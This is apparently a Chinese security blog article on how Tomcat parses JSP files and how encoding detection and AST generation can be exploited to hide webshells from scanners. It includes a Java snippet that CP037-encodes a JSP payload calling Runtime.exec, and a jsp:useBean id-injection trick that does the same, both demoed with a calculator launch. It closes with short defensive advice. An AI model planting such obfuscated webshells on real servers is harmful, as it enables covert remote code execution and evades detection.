jsp解析过程及其trick点
字数 1253 2025-08-20 18:17:41
JSP解析过程及其Trick点深入分析
一、JSP解析过程概述
Tomcat解析JSP的过程主要分为以下几个步骤:
- 客户端发送请求到服务器
- 服务器接收到请求,并交给Servlet容器处理
- Servlet容器解析JSP文件,并将其转换为Java代码
- Servlet容器编译Java代码,并生成class文件
- Servlet容器加载class文件,并执行其中的代码
- 服务器将处理结果返回给客户端
二、JSP解析详细过程
1. JSP文件到Java代码的转换
当请求到来时,Tomcat调用JspServlet进行解析,主要经历以下阶段:
- generate java:将JSP转换为Java代码
- generate class:将Java代码编译为class文件
在generate java过程中,会对编码进行特殊处理,这是免杀后门可以利用的关键点。
2. 编码探测与处理
Tomcat通过determineSyntaxAndEncoding函数进行编码探测:
// EncodingDetector中调用了ProcessBom来处理流
// 后续赋值到sourceEnc中
if (isXml) {
return;
}
JspReader jspReader = null;
try {
jspReader = new JspReader(ctxt, absFileName, sourceEnc, jar, err);
} catch (FileNotFoundException ex) {
throw new JasperException(ex);
}
Mark startMark = jspReader.mark();
if (!isExternal) {
jspReader.reset(startMark);
if (hasJspRoot(jspReader)) {
if (revert) {
sourceEnc = "UTF-8";
}
isXml = true;
return;
} else {
if (revert && isBomPresent) {
sourceEnc = "UTF-8";
}
isXml = false;
}
}
if (!isBomPresent) {
sourceEnc = jspConfigPageEnc;
if (sourceEnc == null) {
sourceEnc = getPageEncodingForJspSyntax(jspReader, startMark);
if (sourceEnc == null) {
// Default to "ISO-8859-1" per JSP spec
sourceEnc = "ISO-8859-1";
isDefaultPageEncoding = true;
}
}
}
关键点:
- 如果是jspx文件(isXml=true),直接返回
- 对于jsp文件,会进一步处理
- 如果没有BOM头(!isBomPresent),会从page指令中获取编码
3. JSP和JSPX的不同处理
if (isXml) {
return;
}
// 后续处理jsp文件
JSPX文件会直接返回,而JSP文件会继续处理。
三、编码特性利用
1. CP037编码利用
CP037编码在读取后会变成<?xm,可以利用这个特性构造闭合标签:
package org.example;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
public class test {
public static String bytesToHex(byte[] bytes) {
StringBuilder hexBuilder = new StringBuilder();
for (byte b : bytes) {
hexBuilder.append(String.format("%02X", b));
}
return hexBuilder.toString();
}
public static byte[] GetBytes(String s) throws UnsupportedEncodingException {
byte[] ibm290s = s.getBytes("cp037");
return ibm290s;
}
public static void main(String[] args) throws IOException {
byte[] bytes = GetBytes("<?xml><%@page pageEncoding=\"cp037\"%><%Runtime.getRuntime().exec(\"open -a calculator\");%>");
System.out.println(bytesToHex(bytes));
}
}
2. 编码适配技巧
由于JSP本身是基于HTML的模板语言,可以利用HTML特性构造特殊编码:
<%@page pageEncoding="utf-8"%>
四、AST生成与校验
1. generate java过程
- 预解析Opcode:将import、include、taglib等进行解析
- 遍历AST语法树进行校验
- 正式解析Opcode:解析标签如
< - 再次遍历AST语法树进行校验
- 遍历AST语法树生成Java代码
2. 校验机制
AST的实现主要通过generateVisitor实现,使用StringBuilder写入,最后生成Java代码。如果校验不通过,会直接throw error,不会生成.java文件。
五、恶意代码注入技巧
1. useBean标签利用
<jsp:useBean>标签的解析过程:
- 拿到每个属性
- 通过classLoader寻找class
- 反射获取无参构造方法
利用方式:
<jsp:useBean id="a=null;java.lang.Runtime.getRuntime().exec(\"open -a calculator\");/*" class="org.aa.test"/>
<%*/ out.print(1);%>
2. 其他Trick点
- 编码不一致绕过:让JSP文件编码和pageencoding不一致
- skipspace函数利用:AST树生成过程中会判断是否为ascii<32,可利用此特性绕过
六、防御建议
- 严格校验JSP文件内容
- 限制上传文件类型
- 监控异常编码的JSP文件
- 定期更新Tomcat版本
- 对JSP文件进行静态分析
七、总结
Tomcat解析JSP的过程涉及编码探测、AST生成和校验等多个环节,每个环节都可能存在可利用的点。理解这些机制不仅有助于安全研究,也能帮助开发者编写更安全的JSP应用。